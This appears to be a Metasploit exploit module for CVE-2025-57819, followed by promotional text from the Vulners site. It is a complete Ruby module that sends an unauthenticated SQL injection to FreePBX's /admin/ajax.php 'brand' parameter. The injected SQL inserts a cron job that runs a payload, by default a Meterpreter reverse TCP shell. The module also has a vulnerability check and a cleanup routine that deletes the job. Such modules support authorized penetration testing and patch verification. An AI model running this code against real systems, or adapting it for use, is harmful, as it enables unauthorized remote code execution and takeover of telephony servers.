##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE',
'Description' => %q{
This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,
and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without
authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing
remote code execution on the target system.
},
'License' => MSF_LICENSE,
'Author' => [
'Echo_Slow', # msf module
'Piotr Bazydlo', # POC used as a template
'Sonny' # POC used as a template
],
'References' => [
['CVE', '2025-57819'],
['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/']
],
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command',
{
'DefaultOptions' =>
{
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'WfsDelay' => 70 # cronjob may take up to a minute to start
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[false, 'The URI for the FreePBX installation', '/']
)
]
)
end
def check
print_status('Checking if vulnerable...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'"
}
)
if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/
return Exploit::CheckCode::Vulnerable('Detected SQL injection')
end
Exploit::CheckCode::Safe('No SQL injection detected, target is patched')
end
def exploit
module_name = Rex::Text.rand_text_alpha(4..7)
@job_name = Rex::Text.rand_text_alpha(4..7)
rce_payload = Rex::Text.rand_text_alpha(4..7)
rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)"
rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- "
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => rce_payload
}
)
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good("Created cronjob with job name: '#{@job_name}'")
print_status('Waiting for cronjob to trigger...')
else
fail_with(Failure::PayloadFailed, 'Cronjob was not created.')
end
end
def cleanup
super
return unless @job_name
# Remove the created cronjob
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'vars_get' => {
'module' => 'FreePBX\\modules\\endpoint\\ajax',
'command' => 'model',
'template' => Rex::Text.rand_text_alphanumeric(3..6),
'model' => Rex::Text.rand_text_alphanumeric(3..6),
'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- "
}
)
print_status('Attempting to perform cleanup')
if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/
print_good('Cronjob removed, happy hacking!')
else
print_bad('Cronjob not removed, please perform manual cleanup!')
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation